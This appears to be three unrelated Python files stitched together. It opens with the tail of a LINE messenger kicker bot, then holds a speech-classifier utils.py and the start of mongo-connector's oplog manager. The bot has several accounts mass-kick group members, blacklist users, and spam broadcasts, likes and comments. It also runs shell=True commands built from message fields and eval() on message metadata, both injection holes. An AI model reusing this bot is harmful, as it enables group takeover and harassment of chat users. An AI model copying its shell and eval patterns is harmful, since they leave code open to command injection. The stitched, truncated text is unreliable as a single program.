kk.leaveGroup(i)
kc.leaveGroup(i)
cl.sendText(msg.to,"Success leave all group")
else:
cl.sendText(msg.to,"Khusus Creator")
#--------------------------------------------------------
elif msg.text in ["cancel","Cancel"]:
if msg.toType == 2:
X = cl.getGroup(msg.to)
if X.invitee is not None:
gInviMids = [contact.mid for contact in X.invitee]
cl.cancelGroupInvitation(msg.to, gInviMids)
else:
cl.sendText(msg.to,"No one is inviting")
else:
Cl.sendText(msg.to,"Can not be used outside the group")
#--------------------------------------------------------
elif msg.text in ["Ourl","Url:on"]:
if msg.from_ in admin:
X = cl.getGroup(msg.to)
X.preventJoinByTicket = False
cl.updateGroup(X)
cl.sendText(msg.to,"Url Active")
else:
cl.sendText(msg.to,"Can not be used outside the group")
#--------------------------------------------------------
elif msg.text in ["Curl","Url:off"]:
if msg.from_ in admin:
X = cl.getGroup(msg.to)
X.preventJoinByTicket = True
cl.updateGroup(X)
cl.sendText(msg.to,"Url inActive")
else:
cl.sendText(msg.to,"Can not be used outside the group")
#--------------------------------------------------------
elif msg.text in ["Join on","Autojoin:on"]:
if msg.from_ in admin:
wait["AutoJoin"] = True
cl.sendText(msg.to,"AutoJoin Active")
else:
cl.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Join off","Autojoin:off"]:
if msg.from_ in admin:
wait["AutoJoin"] = False
cl.sendText(msg.to,"AutoJoin inActive")
else:
cl.sendText(msg.to,"Khusus Admin")
#--------------------------------------------------------
elif msg.text in ["Autocancel:on"]:
wait["AutoCancel"] = True
cl.sendText(msg.to,"The group of people and below decided to automatically refuse invitation")
print wait["AutoCancel"][msg.to]
elif msg.text in ["Autocancel:off"]:
wait["AutoCancel"] = False
cl.sendText(msg.to,"Invitation refused turned off")
print wait["AutoCancel"][msg.to]
#--------------------------------------------------------
elif "Qr:on" in msg.text:
wait["Qr"] = True
cl.sendText(msg.to,"QR Protect Active")
elif "Qr:off" in msg.text:
wait["Qr"] = False
cl.sendText(msg.to,"Qr Protect inActive")
#--------------------------------------------------------
elif "Autokick:on" in msg.text:
wait["AutoKick"] = True
cl.sendText(msg.to,"AutoKick Active")
elif "Autokick:off" in msg.text:
wait["AutoKick"] = False
cl.sendText(msg.to,"AutoKick inActive")
#--------------------------------------------------------
elif msg.text in ["K on","Contact:on"]:
wait["Contact"] = True
cl.sendText(msg.to,"Contact Active")
elif msg.text in ["K off","Contact:off"]:
wait["Contact"] = False
cl.sendText(msg.to,"Contact inActive")
#--------------------------------------------------------
elif msg.text in ["Status"]:
md = ""
if wait["AutoJoin"] == True: md+="✦ Auto join : on\n"
else: md +="✦ Auto join : off\n"
if wait["Contact"] == True: md+="✦ Info Contact : on\n"
else: md+="✦ Info Contact : off\n"
if wait["AutoCancel"] == True:md+="✦ Auto cancel : on\n"
else: md+= "✦ Auto cancel : off\n"
if wait["Qr"] == True: md+="✦ Qr Protect : on\n"
else:md+="✦ Qr Protect : off\n"
if wait["AutoKick"] == True: md+="✦ Autokick : on\n"
else:md+="✦ Autokick : off"
cl.sendText(msg.to,"=====[Status]=====\n"+md)
#--------------------------------------------------------
elif msg.text in ["Gift","gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58',
'PRDTYPE': 'THEME',
'MSGTPL': '5'}
msg.text = None
cl.sendMessage(msg)
elif msg.text in ["All gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58',
'PRDTYPE': 'THEME',
'MSGTPL': '5'}
msg.text = None
ki.sendMessage(msg)
kk.sendMessage(msg)
kc.sendMessage(msg)
elif msg.text in ["Fiz1 Gift","Fiz1 gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '696d7046-843b-4ed0-8aac-3113ed6c0733',
'PRDTYPE': 'THEME',
'MSGTPL': '6'}
msg.text = None
ki.sendMessage(msg)
elif msg.text in ["Fiz2 Gift","Fiz2 gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '8fe8cdab-96f3-4f84-95f1-6d731f0e273e',
'PRDTYPE': 'THEME',
'MSGTPL': '7'}
msg.text = None
kk.sendMessage(msg)
elif msg.text in ["Fiz3 Gift","Fiz3 gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': 'ae3d9165-fab2-4e70-859b-c14a9d4137c4',
'PRDTYPE': 'THEME',
'MSGTPL': '8'}
msg.text = None
kc.sendMessage(msg)
#--------------------------------------------------------
elif msg.text in ["kiwkiw","Tagall"]:
group = cl.getGroup(msg.to)
k = len(group.members)//100
for j in xrange(k+1):
msg = Message(to=msg.to)
txt = u''
s=0
d=[]
for i in group.members[j*100 : (j+1)*100]:
d.append({"S":str(s), "E" :str(s+8), "M":i.mid})
s += 9
txt += u'@Krampus\n'
msg.text = txt
msg.contentMetadata = {u'MENTION':json.dumps({"MENTIONEES":d})}
cl.sendMessage(msg)
#--------------------------CEK SIDER------------------------------
elif "Setview" in msg.text:
subprocess.Popen("echo '' > dataSeen/"+msg.to+".txt", shell=True, stdout=subprocess.PIPE)
cl.sendText(msg.to, "Checkpoint checked!")
print "@setview"
elif "Viewseen" in msg.text:
lurkGroup = ""
dataResult, timeSeen, contacts, userList, timelist, recheckData = [], [], [], [], [], []
with open('dataSeen/'+msg.to+'.txt','r') as rr:
contactArr = rr.readlines()
for v in xrange(len(contactArr) -1,0,-1):
num = re.sub(r'\n', "", contactArr[v])
contacts.append(num)
pass
contacts = list(set(contacts))
for z in range(len(contacts)):
arg = contacts[z].split('|')
userList.append(arg[0])
timelist.append(arg[1])
uL = list(set(userList))
for ll in range(len(uL)):
try:
getIndexUser = userList.index(uL[ll])
timeSeen.append(time.strftime("%H:%M:%S", time.localtime(int(timelist[getIndexUser]) / 1000)))
recheckData.append(userList[getIndexUser])
except IndexError:
conName.append('nones')
pass
contactId = cl.getContacts(recheckData)
for v in range(len(recheckData)):
dataResult.append(contactId[v].displayName + ' ('+timeSeen[v]+')')
pass
if len(dataResult) > 0:
tukang = "List Viewer\n*"
grp = '\n* '.join(str(f) for f in dataResult)
total = '\n\nTotal %i viewers (%s)' % (len(dataResult), datetime.now().strftime('%H:%M:%S') )
cl.sendText(msg.to, "%s %s %s" % (tukang, grp, total))
else:
cl.sendText(msg.to, "Belum ada viewers")
print "@viewseen"
#-------Cek sider biar mirip kek siri-----------------------------
elif "Setlastpoint" in msg.text:
subprocess.Popen("echo '' > dataSeen/"+msg.to+".txt", shell=True, stdout=subprocess.PIPE)
#cl.sendText(msg.to, "Checkpoint checked!")
cl.sendText(msg.to, "Set the lastseens' point(`・ω・´)\n\n" + datetime.now().strftime('%H:%M:%S'))
print "Setlastpoint"
elif "Viewlastseen" in msg.text:
lurkGroup = ""
dataResult, timeSeen, contacts, userList, timelist, recheckData = [], [], [], [], [], []
with open('dataSeen/'+msg.to+'.txt','r') as rr:
contactArr = rr.readlines()
for v in xrange(len(contactArr) -1,0,-1):
num = re.sub(r'\n', "", contactArr[v])
contacts.append(num)
pass
contacts = list(set(contacts))
for z in range(len(contacts)):
arg = contacts[z].split('|')
userList.append(arg[0])
timelist.append(arg[1])
uL = list(set(userList))
for ll in range(len(uL)):
try:
getIndexUser = userList.index(uL[ll])
timeSeen.append(time.strftime("%d日 %H:%M:%S", time.localtime(int(timelist[getIndexUser]) / 1000)))
recheckData.append(userList[getIndexUser])
except IndexError:
conName.append('nones')
pass
contactId = cl.getContacts(recheckData)
for v in range(len(recheckData)):
dataResult.append(contactId[v].displayName + ' ('+timeSeen[v]+')')
pass
if len(dataResult) > 0:
grp = '\n• '.join(str(f) for f in dataResult)
total = '\nThese %iuesrs have seen at the lastseen\npoint(`・ω・´)\n\n%s' % (len(dataResult), datetime.now().strftime('%H:%M:%S') )
cl.sendText(msg.to, "• %s %s" % (grp, total))
else:
cl.sendText(msg.to, "Sider ga bisa di read cek setpoint dulu bego tinggal ketik\nSetlastpoint\nkalo mau liat sider ketik\nViewlastseen")
print "Viewlastseen"
#---------------------Sider ala anu---------------
elif msg.text == "Cek":
cl.sendText(msg.to, "Set point.")
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
except:
pass
now2 = datetime.now()
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%Y-%m-%d %H:%M')
wait2['ROM'][msg.to] = {}
print wait2
elif msg.text == "Sider":
if msg.to in wait2['readPoint']:
if wait2["ROM"][msg.to].items() == []:
chiya = ""
else:
chiya = ""
for rom in wait2["ROM"][msg.to].items():
print rom
chiya += rom[1] + "\n"
cl.sendText(msg.to, "╔═══════════════%s\n╠════════════════\n%s╠═══════════════\n║Readig point creation:\n║ [%s]\n╚════════════════" % (wait2['readMember'][msg.to],chiya,setTime[msg.to]))
else:
cl.sendText(msg.to, "Kau ketik dulu Cek baru Sider")
#--------------------------------------------------------
#KICK_BY_TAG
elif "Boom " in msg.text:
if msg.from_ in Creator:
if 'MENTION' in msg.contentMetadata.keys()!= None:
names = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
print mentionees
for mention in mentionees:
ki.kickoutFromGroup(msg.to,[mention['M']])
else:
cl.sendText(msg.to, "Khusus Creator")
#--------------------------------------------------------
elif "Set member: " in msg.text:
if msg.from_ in admin:
jml = msg.text.replace("Set member: ","")
wait["Members"] = int(jml)
cl.sendText(msg.to, "Jumlah minimal member telah di set : "+jml)
else:
cl.sendText(msg.to, "Khusus Admin")
#--------------------------------------------------------
elif "Add all" in msg.text:
if msg.from_ in admin:
thisgroup = cl.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
cl.findAndAddContactsByMids(mi_d)
cl.sendText(msg.to,"Success Add all")
else:
cl.sendText(msg.to, "Khusus Admin")
#--------------------------------------------------------
elif "Recover" in msg.text:
thisgroup = cl.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
cl.createGroup("Recover", mi_d)
cl.sendText(msg.to,"Success recover")
#--------------------------------------------------------
elif msg.text in ["Remove all chat"]:
if msg.from_ in admin:
cl.removeAllMessages(op.param2)
ki.removeAllMessages(op.param2)
kk.removeAllMessages(op.param2)
kc.removeAllMessages(op.param2)
cl.sendText(msg.to,"Removed all chat")
#--------------------------------------------------------
elif ("Gn: " in msg.text):
if msg.toType == 2:
X = cl.getGroup(msg.to)
X.name = msg.text.replace("Gn: ","")
cl.updateGroup(X)
else:
cl.sendText(msg.to,"It can't be used besides the group.")
#--------------------------------------------------------
elif "Kick: " in msg.text:
if msg.from_ in admin:
midd = msg.text.replace("Kick: ","")
kicker = [ki,kk,kc]
if midd not in admin:
random.choice(kicker).kickoutFromGroup(msg.to,[midd])
else:
cl.sendText(msg.to,"Admin Detected")
#--------------------------------------------------------
elif "Invite: " in msg.text:
if msg.from_ in admin:
midd = msg.text.replace("Invite: ","")
cl.findAndAddContactsByMid(midd)
cl.inviteIntoGroup(msg.to,[midd])
#--------------------------------------------------------
elif msg.text in ["#welcome","Welcome","welcome","Welkam","welkam"]:
gs = cl.getGroup(msg.to)
ki.sendText(msg.to,"Selamat datang di "+ gs.name)
#--------------------------------------------------------
elif "Bc " in msg.text:
if msg.from_ in admin:
bctxt = msg.text.replace("Bc ","")
n = cl.getGroupIdsJoined()
for manusia in n:
cl.sendText(manusia, (bctxt))
elif "Contact bc " in msg.text:
if msg.from_ in admin:
bctxt = msg.text.replace("Contact bc ", "")
t = cl.getAllContactIds()
for manusia in t:
cl.sendText(manusia, (bctxt))
#--------------------------------------------------------
elif msg.text in ["Cancelall"]:
gid = cl.getGroupIdsInvited()
for i in gid:
cl.rejectGroupInvitation(i)
cl.sendText(msg.to,"All invitations have been refused")
elif msg.text in ["Fiz1 Cancelall"]:
gid = ki.getGroupIdsInvited()
for i in gid:
ki.rejectGroupInvitation(i)
ki.sendText(msg.to,"All invitations have been refused")
elif msg.text in ["Fiz2 Cancelall"]:
gid = kk.getGroupIdsInvited()
for i in gid:
kk.rejectGroupInvitation(i)
kk.sendText(msg.to,"All invitations have been refused")
elif msg.text in ["Fiz3 Cancelall"]:
gid = kc.getGroupIdsInvited()
for i in gid:
kc.rejectGroupInvitation(i)
kc.sendText(msg.to,"All invitations have been refused")
#--------------------------------------------------------
elif msg.text in ["Gurl"]:
if msg.toType == 2:
x = cl.getGroup(msg.to)
if x.preventJoinByTicket == True:
x.preventJoinByTicket = False
cl.updateGroup(x)
gurl = cl.reissueGroupTicket(msg.to)
cl.sendText(msg.to,"line://ti/g/" + gurl)
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Can't be used outside the group")
else:
cl.sendText(msg.to,"Not for use less than group")
#--------------------------------------------------------
elif msg.text in ["All join"]:
if msg.from_ in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.2)
kk.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.2)
kc.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.2)
G = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki.updateGroup(G)
G.preventJoinByTicket(G)
ki.updateGroup(G)
else:
cl.sendText(msg.to,"Sape lu!")
elif msg.text in ["Fiz1 join"]:
if msg.from_ in admin:
X = cl.getGroup(msg.to)
X.preventJoinByTicket = False
cl.updateGroup(X)
invsend = 0
Ti = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ti)
G = kk.getGroup(msg.to)
G.preventJoinByTicket = True
ki.updateGroup(G)
else:
cl.sendText(msg.to,"Sape lu!")
elif msg.text in ["Fiz2 join"]:
if msg.from_ in admin:
X = cl.getGroup(msg.to)
X.preventJoinByTicket = False
cl.updateGroup(X)
invsend = 0
Ti = cl.reissueGroupTicket(msg.to)
kk.acceptGroupInvitationByTicket(msg.to,Ti)
G = ki.getGroup(msg.to)
G.preventJoinByTicket = True
kk.updateGroup(G)
else:
cl.sendText(msg.to,"Sape lu!")
elif msg.text in ["Fiz3 join"]:
if msg.from_ in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
kc.acceptGroupInvitationByTicket(msg.to,Ticket)
G.preventJoinByTicket = True
kc.updateGroup(G)
else:
cl.sendText(msg.to,"Sape lu!")
#--------------------------------------------------------
elif msg.text in ["Fiz Like"]:
try:
print "activity"
url = cl.activity(limit=1)
print url
cl.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
ki.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
kk.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
kc.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
cl.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Fฺ่่่๋iฺ่่่๋zฺ่่่๋ Line://ti/p/~afiz1928")
ki.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Fฺ่่่๋iฺ่่่๋zฺ่่่๋ Line://ti/p/~afiz1928")
kk.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Fฺ่่่๋iฺ่่่๋zฺ่่่๋ Line://ti/p/~afiz1928")
kc.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Fฺ่่่๋iฺ่่่๋zฺ่่่๋ Line://ti/p/~afiz1928")
cl.sendText(msg.to, "Success~")
except Exception as E:
try:
cl.sendText(msg.to,str(E))
except:
pass
#--------------------------------------------------------
elif msg.text in ["timeline"]:
try:
url = cl.activity(limit=5)
cl.sendText(msg.to,url['result']['posts'][0]['postInfo']['postId'])
except Exception as E:
print E
#--------------------------------------------------------
elif msg.text in ["Bye all"]:
if msg.from_ in admin:
ki.leaveGroup(msg.to)
kk.leaveGroup(msg.to)
kc.leaveGroup(msg.to)
else:
cl.sendText(msg.to,"Lu Sapa!")
elif msg.text in ["@Bye"]:
if msg.from_ in admin:
cl.leaveGroup(msg.to)
ki.leaveGroup(msg.to)
kk.leaveGroup(msg.to)
kc.leaveGroup(msg.to)
else:
cl.sendText(msg.to,"Lu Sapa!")
#--------------------------------------------------------
elif msg.text in ["Absen"]:
if msg.from_ in admin:
cl.sendText(msg.to,"Pasukan absen!!")
ki.sendText(msg.to,"Fiz1 Hadiir \(ˆ▿ˆ)/")
kk.sendText(msg.to,"Fiz2 Hadiir \(ˆ▿ˆ)/")
kc.sendText(msg.to,"Fiz3 Hadiir \(ˆ▿ˆ)/")
#--------------------------------------------------------
elif msg.text in ["Sp","Speed","speed"]:
if msg.from_ in admin:
start = time.time()
print("Speed")
elapsed_time = time.time() - start
cl.sendText(msg.to, "Progress...")
cl.sendText(msg.to, "%sseconds" % (elapsed_time))
ki.sendText(msg.to, "%sseconds" % (elapsed_time))
kk.sendText(msg.to, "%sseconds" % (elapsed_time))
kc.sendText(msg.to, "%sseconds" % (elapsed_time))
#--------------------------------------------------------
elif "Nk: " in msg.text:
if msg.from_ in admin:
X = cl.getGroup(msg.to)
X.preventJoinByTicket = False
cl.updateGroup(X)
invsend = 0
Ti = cl.reissueGroupTicket(msg.to)
kr.acceptGroupInvitationByTicket(msg.to,Ti) #kicker join
G = kk.getGroup(msg.to)
G.preventJoinByTicket = True
kk.updateGroup(G)
nk0 = msg.text.replace("Nk: ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
targets = []
for s in X.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
if target not in admin:
kr.kickoutFromGroup(msg.to,[target])
kr.leaveGroup(msg.to)
ki.sendText(msg.to,"Succes BosQ")
kk.sendText(msg.to,"Pakyu~")
else:
cl.sendText(msg.to,"Admin Detected")
else:
cl.sendText(msg.to,"Lu sape!")
#--------------------------------------------------------
elif msg.text in ["Ban"]:
wait["wblacklist"] = True
ki.sendText(msg.to,"send contact")
kk.sendText(msg.to,"send contact")
kc.sendText(msg.to,"send contact")
elif msg.text in ["Unban"]:
wait["dblacklist"] = True
ki.sendText(msg.to,"send contact")
kk.sendText(msg.to,"send contact")
kc.sendText(msg.to,"send contact")
#--------------------------------------------------------
elif "Ban @" in msg.text:
if msg.toType == 2:
print "@Ban by mention"
_name = msg.text.replace("Ban @","")
_nametarget = _name.rstrip(' ')
gs = ki.getGroup(msg.to)
gs = kk.getGroup(msg.to)
gs = kc.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Not found")
kk.sendText(msg.to,"Not found")
kc.sendText(msg.to,"Not found")
else:
for target in targets:
if target not in admin:
try:
wait["blacklist"][target] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
ki.sendText(msg.to,"Succes BosQ")
kk.sendText(msg.to,"Succes BosQ")
kc.sendText(msg.to,"Succes BosQ")
except:
ki.sendText(msg.to,"Error")
kk.sendText(msg.to,"Error")
kc.sendText(msg.to,"Error")
else:
cl.sendText(msg.to,"Admin Detected~")
#--------------------------------------------------------
elif msg.text in ["Banlist"]:
if wait["blacklist"] == {}:
ki.sendText(msg.to,"nothing")
kk.sendText(msg.to,"nothing")
kc.sendText(msg.to,"nothing")
else:
mc = ""
for mi_d in wait["blacklist"]:
mc += "->" +cl.getContact(mi_d).displayName + "\n"
ki.sendText(msg.to,"===[Blacklist User]===\n"+mc)
#--------------------------------------------------------
elif "Unban @" in msg.text:
if msg.toType == 2:
print "@Unban by mention"
_name = msg.text.replace("Unban @","")
_nametarget = _name.rstrip(' ')
gs = ki.getGroup(msg.to)
gs = kk.getGroup(msg.to)
gs = kc.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Not found")
kk.sendText(msg.to,"Not found")
kc.sendText(msg.to,"Not found")
else:
for target in targets:
try:
del wait["blacklist"][target]
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
ki.sendText(msg.to,"Succes BosQ")
kk.sendText(msg.to,"Succes BosQ")
kc.sendText(msg.to,"Succes BosQ")
except:
ki.sendText(msg.to,"Succes BosQ")
kk.sendText(msg.to,"Succes BosQ")
kc.sendText(msg.to,"Succes BosQ")
#--------------------------------------------------------
elif msg.text in ["Kill ban"]:
if msg.from_ in admin:
if msg.toType == 2:
group = cl.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
if matched_list == []:
ki.sendText(msg.to,"There was no blacklist user")
kk.sendText(msg.to,"There was no blacklist user")
kc.sendText(msg.to,"There was no blacklist user")
return
for jj in matched_list:
random.choice(KAC).kickoutFromGroup(msg.to,[jj])
ki.sendText(msg.to,"Blacklist emang pantas tuk di usir")
kk.sendText(msg.to,"Blacklist emang pantas tuk di usir")
kc.sendText(msg.to,"Blacklist emang pantas tuk di usir")
else:
cl.sendText(msg.to, "Khusus creator")
#--------------------------------------------------------
elif msg.text in ["Kill"]:
if msg.from_ in admin:
if msg.toType == 2:
group = ki.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
if matched_list == []:
kk.sendText(msg.to,"Fuck You")
kc.sendText(msg.to,"Fuck You")
return
for jj in matched_list:
try:
klist=[ki,kk,kc]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[jj])
print (msg.to,[jj])
except:
pass
#--------------------------------------------------------
elif "Buldozer" == msg.text:
if msg.from_ in admin:
if msg.toType == 2:
print "Kick all member"
_name = msg.text.replace("Buldozer","")
gs = ki.getGroup(msg.to)
gs = kk.getGroup(msg.to)
gs = kc.getGroup(msg.to)
ki.sendText(msg.to,"Sampai jumpaa~")
kc.sendText(msg.to,"Dadaaah~")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Not found.")
kk.sendText(msg.to,"Not found.")
kc.sendText(msg.to,"Not found.")
else:
for target in targets:
if target not in admin:
try:
klist=[ki,kk,kc]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except Exception as e:
cl.sendText(msg.to,str(e))
cl.inviteIntoGroup(msg.to, targets)
#--------------------------------------------------------
elif "Dj " in msg.text:
if msg.from_ in admin:
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"] [0] ["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
random.choice(KAC).kickoutFromGroup(msg.to,[target])
except: cl.sendText(msg.to,"Error")
#--------------------------------------------------------
#Restart_Program
elif msg.text in ["Bot:restart"]:
if msg.from_ in Creator:
cl.sendText(msg.to, "Bot has been restarted")
restart_program()
print "@Restart"
else:
cl.sendText(msg.to, "No Access")
#--------------------------------------------------------
if op.type == 59:
print op
except Exception as error:
print error
#thread2 = threading.Thread(target=nameUpdate)
#thread2.daemon = True
#thread2.start()
while True:
try:
Ops = cl.fetchOps(cl.Poll.rev, 5)
except EOFError:
raise Exception("It might be wrong revision\n" + str(cl.Poll.rev))
for Op in Ops:
if (Op.type != OpType.END_OF_OPERATION):
cl.Poll.rev = max(cl.Poll.rev, Op.revision)
bot(Op)
|
utils.py | """
Miscellaneous utils
Date: September 2018
Author: Ignacio Heredia
Email: iheredia@ifca.unican.es
Github: ignacioheredia
"""
import os
import subprocess
from distutils.dir_util import copy_tree
from multiprocessing import Process
import numpy as np
from tensorflow.keras import callbacks
from tensorflow.keras import backend as K
from speechclas import paths
#from speechclas.optimizers import customSGD, customAdam, customAdamW
def create_dir_tree():
"""
Create directory tree structure
"""
dirs = paths.get_dirs()
for d in dirs.values():
if not os.path.isdir(d):
print('creating {}'.format(d))
os.makedirs(d)
def remove_empty_dirs():
basedir = paths.get_base_dir()
dirs = os.listdir(basedir)
for d in dirs:
d_path = os.path.join(basedir, d)
if not os.listdir(d_path):
os.rmdir(d_path)
def backup_splits():
"""
Save the data splits used during training to the timestamped dir.
"""
src = paths.get_splits_dir()
dst = paths.get_ts_splits_dir()
copy_tree(src, dst)
def get_custom_objects():
return {'customSGD': customSGD,
'customAdam': customAdam,
'customAdamW': customAdamW}
class LR_scheduler(callbacks.LearningRateScheduler):
"""
Custom callback to decay the learning rate. Schedule follows a 'step' decay.
Reference
---------
https://github.com/keras-team/keras/issues/898#issuecomment-285995644
"""
def __init__(self, lr_decay=0.1, epoch_milestones=[]):
self.lr_decay = lr_decay
self.epoch_milestones = epoch_milestones
super().__init__(schedule=self.schedule)
def schedule(self, epoch):
current_lr = K.eval(self.model.optimizer.lr)
if epoch in self.epoch_milestones:
new_lr = current_lr * self.lr_decay
print('Decaying the learning rate to {}'.format(new_lr))
else:
new_lr = current_lr
return new_lr
class LRHistory(callbacks.Callback):
"""
Custom callback to save the learning rate history
Reference
---------
https://stackoverflow.com/questions/49127214/keras-how-to-output-learning-rate-onto-tensorboard
"""
def __init__(self): # add other arguments to __init__ if needed
super().__init__()
def on_epoch_end(self, epoch, logs=None):
logs.update({'lr': K.eval(self.model.optimizer.lr).astype(np.float64)})
super().on_epoch_end(epoch, logs)
def launch_tensorboard(port=6006):
subprocess.call(['tensorboard',
'--logdir', '{}'.format(paths.get_logs_dir()),
'--port', '{}'.format(port),
'--host', '0.0.0.0'])
def get_callbacks(CONF, use_lr_decay=True):
"""
Get a callback list to feed fit_generator.
#TODO Use_remote callback needs proper configuration
#TODO Add ReduceLROnPlateau callback?
Parameters
----------
CONF: dict
Returns
-------
List of callbacks
"""
calls = []
# Add mandatory callbacks
calls.append(callbacks.TerminateOnNaN())
calls.append(LRHistory())
# Add optional callbacks
if use_lr_decay:
milestones = np.array(CONF['training']['lr_step_schedule']) * CONF['training']['epochs']
milestones = milestones.astype(np.int)
calls.append(LR_scheduler(lr_decay=CONF['training']['lr_step_decay'],
epoch_milestones=milestones.tolist()))
if CONF['monitor']['use_tensorboard']:
calls.append(callbacks.TensorBoard(log_dir=paths.get_logs_dir(), write_graph=False))
# # Let the user launch Tensorboard
# print('Monitor your training in Tensorboard by executing the following comand on your console:')
# print(' tensorboard --logdir={}'.format(paths.get_logs_dir()))
# Run Tensorboard on a separate Thread/Process on behalf of the user
port = os.getenv('monitorPORT', 6006)
port = int(port) if len(str(port)) >= 4 else 6006
subprocess.run(['fuser', '-k', '{}/tcp'.format(port)]) # kill any previous process in that port
p = Process(target=launch_tensorboard, args=(port,), daemon=True)
p.start()
if CONF['monitor']['use_remote']:
calls.append(callbacks.RemoteMonitor())
if CONF['training']['use_validation'] and CONF['training']['use_early_stopping']:
calls.append(callbacks.EarlyStopping(patience=int(0.1 * CONF['training']['epochs'])))
if CONF['training']['ckpt_freq'] is not None:
calls.append(callbacks.ModelCheckpoint(
os.path.join(paths.get_checkpoints_dir(), 'epoch-{epoch:02d}.hdf5'),
verbose=1,
period=max(1, int(CONF['training']['ckpt_freq'] * CONF['training']['epochs']))))
if not calls:
calls = None
return calls
|
oplog_manager.py | # Copyright 2013-2014 MongoDB, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tails the oplog of a shard and returns entries
"""
import bson
import logging
import re
try:
import Queue as queue
except ImportError:
import queue
import sys
import time
import threading
import pymongo
from pymongo import CursorType
from mongo_connector import errors, util
from mongo_connector.constants import DEFAULT_BATCH_SIZE
from mongo_connector.gridfs_file import GridFSFile
from mongo_connector.util import log_fatal_exceptions, retry_until_ok
from elasticsearch.helpers import BulkIndexError
LOG = logging.getLogger(__name__)
REGEX_BROKEN_FIELD = re.compile('\[(data.*?)\]')
class OplogThread(threading.Thread):
"""Thread that tails an oplog.
Calls the appropriate method on DocManagers for each relevant oplog entry.
"""
def __init__(self, primary_client, doc_managers,
oplog_progress_dict, mongos_client=None, **kwargs):
super(OplogThread, self).__init__()
self.batch_size = kwargs.get('batch_size', DEFAULT_BATCH_SIZE)
# The connection to the primary for this replicaSet.
self.primary_client = primary_client
# The connection to the mongos, if there is one.
self.mongos_client = mongos_client
# Are we allowed to perform a collection dump?
self.collection_dump = kwargs.get('collection_dump', True)
# The document manager for each target system.
# These are the same for all threads.
self.doc_managers = doc_managers
# Boolean describing whether or not the thread is running.
self.running = True
# Stores the timestamp of the last oplog entry read.
self.checkpoint = None
# A dictionary that stores OplogThread/timestamp pairs.
# Represents the last checkpoint for a OplogThread.
self.oplog_progress = oplog_progress_dict
# The set of namespaces to process from the mongo cluster.
self.namespace_set = kwargs.get('ns_set', [])
# The set of gridfs namespaces to process from the mongo cluster
self.gridfs_set = kwargs.get('gridfs_set', [])
